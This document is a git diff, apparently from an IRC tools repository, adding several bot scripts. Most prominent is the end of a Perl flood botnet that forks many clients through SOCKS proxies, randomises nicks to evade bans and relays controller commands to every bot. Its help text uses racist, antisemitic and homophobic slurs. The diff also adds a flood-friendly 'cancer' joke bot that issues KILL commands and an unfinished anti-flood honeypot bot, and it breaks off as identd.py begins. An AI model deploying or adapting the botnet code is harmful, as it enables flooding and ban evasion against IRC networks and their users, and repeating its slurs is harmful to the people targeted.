quotes, or escape the '#'. I prefer quotes. You may also, optionally,\n". + " specify a nickbase. This will cause all nicks to begin with that string. You should\n". + " probably not do this, as it makes your bots easier to ban.\n". + "\n". + "\n". + " Usage:\n". + " all [space-delimited arguments] :[arguments with spaces]\n". + " [space-delimited arguments] :[arguments with spaces]\n". + " ,,... [space-delimited arguments] :[arguments with spaces]\n". + "\n". + " Simply privmsg your command to the control channel, and the respective bots will follow.\n". + "\n". + " Examples:\n". + " <~supers> all join #gnaa gnaa\n". + " All bots will join #gnaa using the key 'gnaa'\n". + " <~supers> all privmsg #gnaa :LOL HY LOL HY\n". + " All bots will say \"LOL HY LOL HY\" in #gnaa\n". + " <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n". + " The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n". + " <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n". + " The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n". + " will part #gnaa with reason 'lol jews'\n". + "\n". + "\n". + " Enjoy. -- Jmax\n"; + exit 0; +} elsif ($ARGV[0] eq '--version') { + print "ASIAN $VERSION by Jmax, Rucas, abez. Based on code by mef.\n"; + exit 0; +} else { + error("please run using the --help argument") unless $ARGV[1]; + if ($ARGV[0] =~ /(.+):(\d+)/) { + $server = $1; + $port = $2; + } else { + $server = $ARGV[0]; + $port = 6667; + } + $channel = $ARGV[1]; + if ($ARGV[2]) { + $nickbase = $ARGV[2]; + } +} + +my @servers = resolve($server); +notice("Resolved $server as ".join(", ", @servers)); + +my %proxies = load_socks(); +my @proxylist = get_proxylist(%proxies); + +notice("Initiliazing (forking) bots"); +for ($forkcount = 0; $forkcount < $maxfork; $forkcount++) { # $forkcount must _not_ be local to here + sleep 1; # so we don't overload ourselves + if (!defined(my $pid = fork())) { # fork + error("couldn't fork: $!"); # die if fork fails + } elsif ($pid == 0) { # fork successful, in child, do stuff + while (%proxies) { + my $proxy_ip = $proxylist[int rand @proxylist]; + my $proxy_port = $proxies{$proxy_ip}; + spawn_bot($proxy_ip, $proxy_port, $servers[int rand @servers], $port) + or (delete $proxies{$proxy_ip} and @proxylist = get_proxylist(%proxies)); + sleep 10; # to prevent throttling by IRCd + } + exit 0; # kills child + } else { # this is the parent + } +} +sleep while ($dead_nigger_storage < $maxfork); +exit 666; + +sub load_socks { + my (%proxies, @proxylist, $socksn); + open SOCKSFILE, "<", "./socks.txt" or error("could not open socks proxies file socks.txt: $!"); + while () { + chomp; + my ($ip, $port) = /([^:]+):([^:]+)/; + $proxies{$ip} = $port; + $socksn++; + } + close(SOCKSFILE) or error("could not close socks proxies file socks.txt: $!"); + notice("acquired $socksn socks prox(y|ies)."); + return (%proxies); +} + +sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1; + my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; + my ($nick, $nicklen); + if ($nickbase) { + $nicklen = int(rand(4)) + 3; + $nick = $nickbase . random_num($nicklen); + } else { + $nicklen = int(rand(9)) + 3; + $nick = random_nick($nicklen); + } + my $identlen = int(rand(4)) + 3; + my $ident = lc(random_nick($identlen)); + my $realnamelen = int(rand(9)) + 7; + my $realname = random_nick($realnamelen); + my ($line, $sock, $altsock); + eval { + local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required + alarm 5; + $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port); + alarm 0; + }; + if ($@) { + error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors + warning("TIMEOUT / CONNECTION REFUSED; SOCKS == SHIT; DELETING AND LOADING NEW;"); + return 0; + } + $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port); + return 0 unless $sock; + print $sock "NICK $nick\r\n"; + outgoing($nick, "NICK $nick"); + print $sock "USER $ident * * :$realname\r\n"; + outgoing($nick, "USER $ident * * :$realname"); + while ($line = <$sock>) { + chomp $line; + next if $line =~ /372/; # ignore motd msgs + incoming($nick, $line); + last if $line =~ /376|422/; # end of motd or no motd + return 0 if $line =~ /BANNED/i; + return 0 if $line =~ /ERROR.*G.lined/i; + return 0 if $line =~ /ERROR.*K.lined/i; + return 1 if $line =~ /ERROR/i; + return 1 if $line =~ /432/; + return 1 if $line =~ /433/; + if ($line =~ /PING (.*)$/) { + print $sock "PONG $1\r\n"; + } + } + print $sock "JOIN $channel\r\n"; + outgoing($nick, "JOIN $channel"); + while ($line = <$sock>) { + chomp $line; + if ($line =~ /PING (.*)$/) { + print $sock "PONG $1\r\n"; + } elsif ($line =~ /PRIVMSG $channel :all (.*)$/i) { + my $cmd = $1; + if ($cmd =~ /nick (\S*)/i) { + $nick = $1; + } + incoming($nick, $line); + print $sock "$cmd\r\n"; + outgoing($nick, $cmd); + } elsif ($line =~ /PRIVMSG $channel :(?:\S*|\s*)$nick(?:\S*|\s*) (.*)$/i) { + my $cmd = $1; + if ($cmd =~ /nick (\S*)/i) { + $nick = $1; + } + incoming($nick, $line); + print $sock "$cmd\r\n"; + outgoing($nick, $cmd); + } else { + incoming($nick, $line); + } + } +} + +sub connect_to_socks_proxy { + # see http://socks.permeo.com/protocol/socks4.protocol + my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; + my $sock = IO::Socket::INET->new( + PeerAddr => $socks_ip, + PeerPort => $socks_port, + Proto => 'tcp' + ); + return unless $sock; + $sock->autoflush(1); + print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x'); + my $received = ''; + while (read($sock, $received, 8) && (length($received) < 8)) {} + my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received); + return unless $cd; + if ($cd != 90) { + return; + } + return $sock; +} + +sub random_nick { + my $length = shift; + my $possible = '0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ'; # NO PIPES. (lol, weird bug) + my @possible = split(//, $possible); + my $str = ''; + while (length($str) < $length) { + $str .= $possible[int rand @possible]; + } + return $str; +} + +sub random_num { + my $length = shift; + my $possible = '0123456789'; # NO PIPES. (lol, weird bug) + my @possible = split(//, $possible); + my $str = ''; + while (length($str) < $length) { + $str .= $possible[int rand @possible]; + } + return $str; +} + +sub resolve { + my $host = shift; + my (undef, undef, undef, undef, @servers) = gethostbyname($host); + unless (@servers) { + error("cannot resolve server $host: $?"); + return 0; + } + my @servers_ip; + foreach my $server (@servers) { + my ($a, $b, $c, $d) = unpack('C4', $server); + my $server_ip = "$a.$b.$c.$d"; + push (@servers_ip, $server_ip); + } + return @servers_ip; +} + +sub get_proxylist { + my $proxies = @_; + my @proxylist; + foreach my $key (keys %proxies) { + push(@proxylist, $key); + } + return @proxylist; +} + +sub notice { + my $notice = shift; + print ">>>> ". $notice ."\n"; + return; +} + +sub incoming { + my ($nick, $line, $server) = @_; + printf("IRCd >>>> %-12s ] %s\n", $nick, $line); + return; +} + +sub outgoing { + my ($nick, $line, $server) = @_; + printf("IRCd <<<< %-12s ] %s\n", $nick, $line); + return; +} + +sub warning { + my $warning = shift; + print "!!!! ". $warning ."\n"; + return; +} + +sub error { + my $error = shift; + print "!!!! ". $error ."\n"; + exit 0; +} diff --git a/irc/blackhole.py b/irc/blackhole.py new file mode 100644 index 0000000..858ad97 --- /dev/null +++ b/irc/blackhole.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python +# Blackhole IRC Bot - Developed by acidvegas in Python - (https://acid.vegas/random) + +''' +WARNING: This script it entirely unfinished and should not be used for anything other than testing! + +This is an advanced master/honeypot(s) bot system designed to combat advanced flooding techniques on IRC +''' + +import random, ssl, socket, time, threading + +# Config +nickserv_password = None +operator_password = None +user_modes = None #BdZ + +class HoneyPot(threading.Thread): + def __init__(self): + self.nickname = random.choice(BlackHole.db['honeypot_nicks']) + self.sock = None + threading.Thread.__init__(self) + + def connect(self): + try: + self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) + self.sock.connect(('localhost', 6697)) + self.raw(f'USER {username} 0 * :{realname}') + self.raw('NICK ' + self.nickname) + except socket.error: + self.event_disconnect() + else: + self.listen() + + def event_disconnect(self): + self.sock.close() + time.sleep(15) + self.connect() + + def handle_events(self, data): + args = data.split() + if data.startswith('ERROR :Closing Link:'): + raise Exception('Connection has closed.') + elif args[0] == 'PING': + self.raw('PONG ' + args[1][1:]) + elif args[1] == '001': + for chan in channels: + self.raw('JOIN ' + chan) + time.sleep(1) + elif args[1] == '433': + self.nickname = random.choice(BlackHole.db['honeypot_nicks']) + self.raw('NICK ' + self.nickname) + elif args[1] == 'INVITE': + nick = args[0].split('!')[0][1:] + self.sendmsg('blackhole', '!' + nick) + elif args[1] == 'KICK' and len(args) >= 4: + chan = args[2] + kicked = args[3] + if chan in channels and kicked == self.nickname: + time.sleep(1) + self.raw('JOIN ' + chan) + elif args[1] == 'NOTICE': + nick = args[0].split('!')[0][1:] + self.sendmsg('blackhole', '!' + nick) + elif args[1] == 'PRIVMSG' and len(args) >= 3: + nick = args[0].split('!')[0][1:] + chan = args[2] + if chan == self.nickname or '\001' in data: + self.sendmsg('blackhole', '!' + nick) + + def listen(self): + while True: + try: + data = self.sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if line): + if len(line.split()) >= 2: + self.handle_events(line) + except (UnicodeDecodeError,UnicodeEncodeError): + pass + except: + break + self.event_disconnect() + + def raw(self, msg): + self.sock.send(bytes(msg + '\r\n', 'utf-8')) + + def sendmsg(self, target, msg): + self.raw(f'PRIVMSG {target} :{msg}') + +class IRC(object): + def __init__(self): + self.db = {'ident':list(),'nick':list(),:'protect':list()} + self.sock = None + + def run(self): + with open('blackhole.pkl','rb') as db_file: + self.db = pickle.load(db_file) + self.connect() + + def connect(self): + try: + self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) + self.sock.connect(('localhost', 6697)) + self.raw(f'USER BL 0 * :ENTER THE VOID') + self.raw('NICK blackhole') + except socket.error: + self.event_disconnect() + else: + self.listen() + + def evemt_connect(self): + self.mode(nickname, '+' + user_modes) + self.identify(nickname, nickserv_password) + self.oper(username, operator_password) + + def event_disconnect(self): + self.sock.close() + time.sleep(15) + self.connect() + + def event_private(self, ident, nick, msg): + if ident == admin: + args = msg.split() + cmd = args[0][1:] + if msg[:1] == '.': + if cmd in self.db.keys(): + if len(args) == 1: + for item in self.db[cmd]: + self.sendmsg(nick, '\x0310' + item) + elif len(args) == 2: + option = args[1][1:] + change = args[1][:1] + if change == '+': + if option not in self.db[cmd]: + self.db[cmd].append(option) + self.sendmsg(nick, '\x033added') + elif change == '-': + if option in self.db[cmd]: + self.db[cmd].remove(option) + self.sendmsg(nick, '\x035removed') + elif ident not in self.db['protected_hosts']: + self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f') + + def handle_events(self, data): + args = data.split() + if data.startswith('ERROR :Closing Link:'): + raise Exception('Connection has closed.') + elif args[0] == 'PING': + self.raw('PONG ' + args[1][1:]) + elif args[1] == '001': + self.event_connect() + elif args[1] == 'INVITE' or args[1] == 'NOTICE': + nick = args[0].split('!')[0][1:] + host = args[0].split('@')[1] + self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f') + elif args[1] == 'KICK' and len(args) >= 4: + nick = args[0].split('!')[0][1:].lower() + host = args[0].split('@')[1] + chan = args[2] + kicked = args[3].lower() + if kicked == 'blackhole': + time.sleep(1) + self.raw('JOIN ' + chan) + else: + for item in self.db['nick']: + if kicked == item: + self.raw(f'KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f') + self.mode(chan, '+b *!*@' + host) + break + elif args[1] == 'PRIVMSG' and len(args) == 4: + ident = args[0].split('!')[1].lower() + host = args[0].split('@')[1] + nick = args[0].split('!')[0][1:].lower() + chan = args[2] + msg = ' '.join(args[3:])[1:].lower() + if '\001' in msg: + self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f') + elif chan == 'blackhole': + if ident in self.db['ident'] and msg.startswith('!'): + self.raw('KILL {msg[1:]} \x038,4 E N T E R T H E V O I D \x0f') + elif ident == admin: + self.event_private(ident, nick, msg) + else: + self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f') + elif host not in self.db['protect']: + for item in self.db['nick']: + if item in msg: + self.raw('KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f') + break + + def listen(self): + while True: + try: + data = self.sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if line): + if len(line.split()) >= 2: + self.handle_events(line) + except (UnicodeDecodeError,UnicodeEncodeError): + pass + except: + break + self.event_disconnect() + + def raw(self, msg): + self.sock.send(bytes(msg + '\r\n', 'utf-8')) + +# Main +BlackHole = IRC() +BlackHole.run() diff --git a/irc/cancer.py b/irc/cancer.py new file mode 100644 index 0000000..41a7d94 --- /dev/null +++ b/irc/cancer.py @@ -0,0 +1,501 @@ +#!/usr/bin/env python +# Cancer IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random) + +''' +WARNING: This bot highly encourages flooding! + +Commands: + @cancer | Information about the bot. + @cancer stats | Return bot statistics for the channel + !100 | 1 in 100 chance to get a 100 (big !smoke) + !beer [nick] | Grab a beer or toss one to someone. + !chainsmoke | Start a game of Chain Smoke + !chug | Sip beer + !dragrace | Start a game of Drag Race + !extendo | 1 in 100 chance to get an EXTENDO (big !toke) + !fatfuck | 1 in 100 chance to get a FATFUCK (fat !smoke/!toke) + !letschug | LET'S FUCKING CHUG! + !letstoke | LET'S FUCKING TOKE! + !toke | Hit joint + !smoke | Hit cigarette +''' + +import os +import random +import socket +import threading +import time + +# Connection +server = 'irc.server.com' +port = 6697 +use_ipv6 = False +use_ssl = True +ssl_verify = False +vhost = None +channel = '#chats' +key = None + +# Certificate +cert_key = None +cert_file = None +cert_pass = None + +# Identity +nickname = 'CANCER' +username = 'smokesome' # vHost can be CIG@ARETTE or C@NCER for vanity purposes +realname = 'acid.vegas/random' + +# Login +nickserv_password = None +network_password = None +operator_password = None + +# Settings +user_modes = None + +# Globals (DO NOT EDIT) +stat_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'stats.log') + +# Formatting Control Characters / Color Codes +bold = '\x02' +italic = '\x1D' +underline = '\x1F' +reverse = '\x16' +reset = '\x0f' +white = '00' +black = '01' +blue = '02' +green = '03' +red = '04' +brown = '05' +purple = '06' +orange = '07' +yellow = '08' +light_green = '09' +cyan = '10' +light_cyan = '11' +light_blue = '12' +pink = '13' +grey = '14' +light_grey = '15' + +def color(msg, foreground, background=None): + return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}' + +def debug(msg): + print(f'{get_time()} | [~] - {msg}') + +def error(msg, reason=None): + print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}') + +def get_time(): + return time.strftime('%I:%M:%S') + +def luck(odds): + return True if random.randint(1,odds) == 1 else False + +def stats(stat_type, stat_action): + option = {'chug':0,'smoke':1,'toke':2} + if stat_action == 'add': + stats = [int(stat) for stat in open(stat_file).read().split().split(':')] + with open(stat_file, 'w') as stats_file: + stats[option[stat_type]]+=1 + stats_file.write(':'.join([str(stat) for stat in stats])) + elif stat_action == 'get': + return int(open(stat_file).read().split(':')[option[stat_type]]) + +class IRC(object): + def __init__(self): + self.chain_smoked = 0 + self.drag_race_start = 0 + self.fat = False + self.event = None + self.nicks = list() + self.sock = None + self.stats = {'chugged':0,'hits':25,'sips':8,'smoked':0,'toked':0} + self.status = True + + def run(self): + threading.Thread(target=Games.loop).start() + self.connect() + + def connect(self): + try: + self.create_socket() + self.sock.connect((server, port)) + self.register() + except socket.error as ex: + error('Failed to connect to IRC server.', ex) + Events.disconnect() + else: + self.listen() + + def create_socket(self): + family = socket.AF_INET6 if use_ipv6 else socket.AF_INET + self.sock = socket.socket(family, socket.SOCK_STREAM) + if vhost: + self.sock.bind((vhost, 0)) + if use_ssl: + ctx = ssl.SSLContext() + if cert_file: + ctx.load_cert_chain(cert_file, cert_key, cert_pass) + if ssl_verify: + ctx.verify_mode = ssl.CERT_REQUIRED + ctx.load_default_certs() + else: + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + self.sock = ctx.wrap_socket(self.sock) + + def listen(self): + while True: + try: + data = self.sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if len(line.split()) >= 2): + debug(line) + Events.handle(line) + except (UnicodeDecodeError,UnicodeEncodeError): + pass + except Exception as ex: + error('Unexpected error occured.', ex) + break + Events.disconnect() + + def register(self): + if network_password: + Commands.raw('PASS ' + network_password) + Commands.raw(f'USER {username} 0 * :{realname}') + Commands.raw('NICK ' + nickname) + +class Commands: + def action(chan, msg): + Commands.sendmsg(chan, f'\x01ACTION {msg}\x01') + + def join_channel(chan, key=None): + Commands.raw(f'JOIN {chan} {key}') if key else Commands.raw('JOIN ' + chan) + + def kill(nick, reason): + Commands.raw(f'KILL {nick} {reason}') + + def notice(target, msg): + Commands.raw(f'NOTICE {target} :{msg}') + + def raw(msg): + Bot.sock.send(bytes(msg + '\r\n', 'utf-8')) + + def sendmsg(target, msg): + Commands.raw(f'PRIVMSG {target} :{msg}') + +class Events: + def connect(): + if user_modes: + Commands.raw(f'MODE {nickname} +{user_modes}') + if nickserv_password: + Commands.sendmsg('NickServ', f'IDENTIFY {nickname} {nickserv_password}') + if operator_password: + Commands.raw(f'OPER {username} {operator_password}') + Commands.join_channel(channel, key) + + def disconnect(): + Bot.chain_smoked = 0 + Bot.drag_race_start = 0 + Bot.event = None + Bot.nicks = list() + Bot.status = True + Bot.sock.close() + time.sleep(10) + Bot.connect() + + def message(nick, chan, msg): + if Bot.status: + args = msg.split() + if msg == '@cancer': + Commands.sendmsg(chan, bold + 'CANCER IRC Bot - Developed by acidvegas in Python - https://acid.vegas/random') + elif msg == '@cancer stats': + Commands.sendmsg(chan, 'Chugged : {0} beers {1}'.format(color('{:,}'.format(stats('chug','get')*24), light_blue), color('({:,} cases)'.format(stats('chug','get')), grey))) + Commands.sendmsg(chan, 'Smoked : {0} cigarettes {1}'.format(color('{:,}'.format(stats('smoke','get')*20), light_blue), color('({:,} packs)'.format(stats('smoke','get')), grey))) + Commands.sendmsg(chan, 'Toked : {0} joints {1}'.format(color('{:,}'.format(stats('toke','get')*3), light_blue), color('({:,} grams)'.format(stats('toke','get')), grey))) + elif msg in ('!100','!extendo') and luck(100): + Bot.stats['hits'] = 100 + if msg == '!100': + Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', white, red), color('AWWW SHIT, IT\'S TIME FOR THAT NEWPORT 100', red, white), color(' !!! ', white, red))) + else: + Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('OHHH FUCK, IT\'S TIME FOR THAT 420 EXTENDO', yellow, green), color(' !!! ', red, green))) + elif args[0] == '!beer': + if len(args) == 1: + target = nick + elif len(args) == 2: + target = args[1] + beer = '{0}{1}{2}'.format(color(' ', white, white), color(' BUD ', white, random.choice((blue,brown))), color('c', grey, white)) + Commands.action(chan, f'throws {color(target, white)} an ice cold {beer} =)') + elif msg == '!chainsmoke' and not Bot.event: + threading.Thread(target=Games.chain_smoke, args=(chan,)).start() + elif msg == '!chug': + if Bot.event == 'letschug': + if nick in Bot.nicks: + Commands.sendmsg(chan, color(nick + ' you are already chuggin u wastoid!', light_green)) + else: + Bot.nicks.append(nick) + Commands.sendmsg(chan, color(nick + ' joined the CHUG session!', light_green)) + else: + if Bot.stats['sips'] <= 0: + Bot.stats['sips'] = 8 + Bot.stats['chugged'] += 1 + if Bot.stats['chugged'] == 24: + stats('chug','add') + Bot.stats['chugged'] = 0 + for line in Generate.mug(Bot.stats['sips']): + Commands.sendmsg(chan, line) + Bot.stats['sips'] -= random.choice((1,2)) + elif msg == '!dragrace' and not Bot.event: + threading.Thread(target=Games.drag_race).start() + elif msg == '!fatfuck' and luck(100): + Bot.fat = True + Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('AWWW SHIT, IT\'S TIME FOR THAT MARLBORO FATFUCK', black, green), color(' !!! ', red, green))) + elif msg == '!letschug' and not Bot.event: + threading.Thread(target=Games.chug, args=(nick,chan)).start() + elif msg == '!letstoke' and not Bot.event: + threading.Thread(target=Games.toke, args=(nick,chan)).start() + elif msg in ('!smoke','!toke'): + option = 'smoked' if msg == '!smoke' else 'toked' + if msg == '!toke' and Bot.event == 'letstoke': + if nick in Bot.nicks: + Commands.sendmsg(chan, color(nick + ' you are already toking u stoner!', light_green)) + else: + Bot.nicks.append(nick) + Commands.sendmsg(chan, color(nick + ' joined the TOKE session!', light_green)) + else: + if Bot.stats['hits'] <= 0: + Bot.stats['hits'] = 25 + Bot.stats[option] += 1 + if Bot.fat: + Bot.fat = False + if Bot.stats[option] == 20: + stats(option[:-1],'add') + Bot.stats[option] = 0 + if Bot.event == 'chainsmoke' and msg == '!smoke': + Bot.nicks[nick] = Bot.nicks[nick]+1 if nick in Bot.nicks else 1 + Bot.chain_smoked += 1 + elif Bot.event == 'dragrace' and msg == '!smoke': + Commands.sendmsg(chan, 'It took {0} seconds for {1} to smoke a cigarette!'.format(color('{:.2f}'.format(time.time()-Bot.drag_race_start), light_blue), color(chan, white))) + Bot.event = None + Bot.drag_race_start = 0 + elif luck(25): + Commands.kill(nick, f'CANCER KILLED {nick.upper()} - QUIT SMOKING TODAY! +1 800-QUIT-NOW') + else: + object = Generate.cigarette(Bot.stats['hits']) if msg == '!smoke' else Generate.joint(Bot.stats['hits']) + cigarette = Generate.cigarette(Bot.stats['hits']) + if Bot.fat: + Commands.sendmsg(chan, object) + Commands.sendmsg(chan, object) + Commands.sendmsg(chan, object) + else: + Commands.sendmsg(chan, object) + Bot.stats['hits'] -= random.choice((1,2)) + + def handle(data): + args = data.split() + if data.startswith('ERROR :Closing Link:'): + raise Exception('Connection has closed.') + elif args[0] == 'PING': + Commands.raw('PONG ' + args[1][1:]) + elif args[1] == '001': + Events.connect() + elif args[1] == '433': + error('The bot is already running or nick is in use.') + elif args[1] == 'INVITE' and len(args) == 4: + invited = args[2] + chan = args[3][1:] + if invited == nickname and chan == channel: + Commands.join_channel(channel, key) + elif args[1] == 'KICK' and len(args) >= 4: + chan = args[2] + kicked = args[3] + if kicked == nickname and chan == channel: + time.sleep(3) + Commands.join_channel(channel, key) + elif args[1] == 'PART' and len(args) >= 3: + chan = args[2] + if chan == channel: + nick = args[0].split('!')[0][1:] + Commands.action(nick, f'blows smoke in {nick}\'s face...') + elif args[1] == 'PRIVMSG' and len(args) >= 4: + nick = args[0].split('!')[0][1:] + chan = args[2] + msg = data.split(f'{args[0]} PRIVMSG {chan} :')[1] + if chan == channel: + Events.message(nick, chan, msg) + +class Games: + def chain_smoke(chan): + Bot.event = 'chainsmoke' + Bot.status = False + Bot.nicks = dict() + try: + Commands.notice(chan, 'Starting a round of {0} in {1} seconds!'.format(color('ChainSmoke', red), color('10', white))) + Commands.notice(chan, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. Once you finish a cigarette, a new one will be lit for you. You will have 60 seconds to chain smoke as many cigarettes as possible.', yellow))) + time.sleep(10) + Commands.action(chan, 'Round starts in 3...') + time.sleep(1) + Commands.action(chan, '2...') + time.sleep(1) + Commands.action(chan, '1...') + time.sleep(1) + Commands.action(chan, color('GO', light_green)) + Bot.status = True + time.sleep(60) + Bot.status = False + Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow)) + time.sleep(1) + Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow)) + time.sleep(1) + Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow)) + Commands.sendmsg(chan, color('Counting cigarette butts...', yellow)) + time.sleep(10) + Commands.sendmsg(chan, '{0} smoked {1} cigarettes!'.format(chan, color(str(Bot.chain_smoked), light_blue))) + if Bot.nicks: + guy = max(Bot.nicks, key=Bot.nicks.get) + Commands.sendmsg(chan, '{0} smoked the most cigarettes... {1}'.format(guy, Bot.nicks[guy])) + except Exception as ex: + error('Error occured in chain smoke event!', ex) + finally: + Bot.chain_smoked = 0 + Bot.nicks = list() + Bot.event = None + Bot.status = True + + def chug(nick, chan): + Bot.event = 'letschug' + Bot.nicks.append(nick) + try: + Commands.sendmsg(chan, color(f'OH SHIT {nick} is drunk', light_green)) + Commands.notice(chan, color(f'Time to TOTALLY CHUG in {chan.upper()} in 30 seconds, type !chug to join', light_green)) + time.sleep(10) + Commands.sendmsg(chan, color('LOL we CHUG in 20 get ready ' + ' '.join(Bot.nicks), light_green)) + time.sleep(10) + Commands.sendmsg(chan, color('YO we CHUG in 10 get ready ' + ' '.join(Bot.nicks), light_green)) + time.sleep(5) + Commands.sendmsg(chan, color('alright CHUG in 5', light_green)) + time.sleep(1) + Commands.sendmsg(chan, color('4..', light_green)) + time.sleep(1) + Commands.sendmsg(chan, color('3..', light_green)) + time.sleep(1) + Commands.sendmsg(chan, color('2..', light_green)) + time.sleep(1) + Commands.sendmsg(chan, color('1..', light_green)) + time.sleep(1) + Commands.sendmsg(chan, color(' '.join(Bot.nicks) + ' .. CHUG!', light_green)) + except Exception as ex: + error('Error occured in chug event!', ex) + finally: + Bot.event = None + Bot.nicks = list() + + def drag_race(): + Bot.event = 'dragrace' + Bot.status = False + Bot.hits = 25 + try: + Commands.notice(channel, 'Starting a round of {0} in {1} seconds!'.format(color('DragRace', red), color('10', white))) + Commands.notice(channel, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. You will have 10 seconds to smoke as quickly as possible.', yellow))) + time.sleep(10) + Commands.action(channel, 'Round starts in 3...') + time.sleep(1) + Commands.action(channel, '2...') + time.sleep(1) + Commands.action(channel, '1...') + time.sleep(1) + Commands.action(channel, color('GO', light_green)) + Bot.drag_race_start = time.time() + except Exception as ex: + error('Error occured in the drag race event!', ex) + finally: + Bot.status = True + + def loop(): + while True: + if get_time()[:-3] == '04:20': + try: + Commands.sendmsg(channel, color('S M O K E W E E D E R R D A Y', light_green)) + Commands.sendmsg(channel, color('ITZ DAT MUTHA FUCKN 420 BITCH', yellow)) + Commands.sendmsg(channel, color('LIGHT UP A NICE GOOD FAT FUCK', red)) + time.sleep(43000) + except Exeption as ex: + error('Error occured in loop!', ex) + else: + time.sleep(30) + + def toke(nick, chan): + Bot.event = 'letstoke' + Bot.nicks.append(nick) + try: + Commands.sendmsg(channel, color(f'YO {nick} is high', light_green)) + Commands.notice(channel, color(f'Time to FUCKING toke in {chan.upper()}, type !toke to join', light_green)) + time.sleep(10) + Commands.sendmsg(channel, color('OH SHIT we toke in 20 get ready ' + ' '.join(Bot.nicks), light_green)) + time.sleep(10) + Commands.sendmsg(channel, color('OH SHIT we toke in 10 get ready ' + ' '.join(Bot.nicks), light_green)) + time.sleep(5) + Commands.sendmsg(channel, color('alright toke in 5', light_green)) + time.sleep(1) + Commands.sendmsg(channel, color('4..', light_green)) + time.sleep(1) + Commands.sendmsg(channel, color('3..', light_green)) + time.sleep(1) + Commands.sendmsg(channel, color('2..', light_green)) + time.sleep(1) + Commands.sendmsg(channel, color('1..', light_green)) + time.sleep(1) + Commands.sendmsg(channel, color(' '.join(Bot.nicks) + ' .. toke!', light_green)) + except Exception as ex: + error('Error occured in toke event!', ex) + finally: + Bot.event = None + Bot.nicks = list() + +class Generate: + def beer(): + glass = color(' ', light_grey, light_grey) + return glass + color(''.join(random.choice((' :.')) for _ in range(9)), orange, yellow) + glass + + def cigarette(size): + filter = color(';.`-,:.`;', yellow, orange) + cigarette = color('|'*size, light_grey, white) + cherry_a = color(random.choice(('@#&')), random.choice((red,yellow)), grey) + cherry_b = color(random.choice(('@#&')), random.choice((red,yellow)), grey) + smoke = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey) + return filter + cigarette + cherry_a + cherry_b + smoke + + def joint(size): + joint = color('/'*size, light_grey, white) + cherry_a = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey) + cherry_b = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey) + smoke = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey) + return joint + cherry_a + cherry_b + smoke + + def mug(size): + glass = color(' ', light_grey, light_grey) + empty = f'{glass} {glass}' + foam = glass + color(':::::::::', light_grey, white) + glass + bottom = color(' ', light_grey, light_grey) + mug = [foam,Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer()] + for i in range(8-size): + mug.pop() + mug.insert(0, empty) + for i in range(len(mug)): + if i == 2 or i == 7: + mug[i] += glass + glass + elif i > 2 and i < 7: + mug[i] += ' ' + glass + mug.append(bottom) + return mug + +# Main +if use_ssl: + import ssl +if not os.path.isfile(stat_file): + open(stat_file, 'w').write('0:0:0') +Bot = IRC() +Bot.run() diff --git a/irc/gaymircd.tar.gz b/irc/gaymircd.tar.gz new file mode 100644 index 0000000..147a3bb Binary files /dev/null and b/irc/gaymircd.tar.gz differ diff --git a/irc/identd.py b/irc/identd.py new file mode 100644 index 0000000..c863de1 --- /dev/null +++ b/irc/identd.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python +# Ident Protocol Daemon - Developed by acidvegas in Python (https://acid.vegas/random) + +import os, 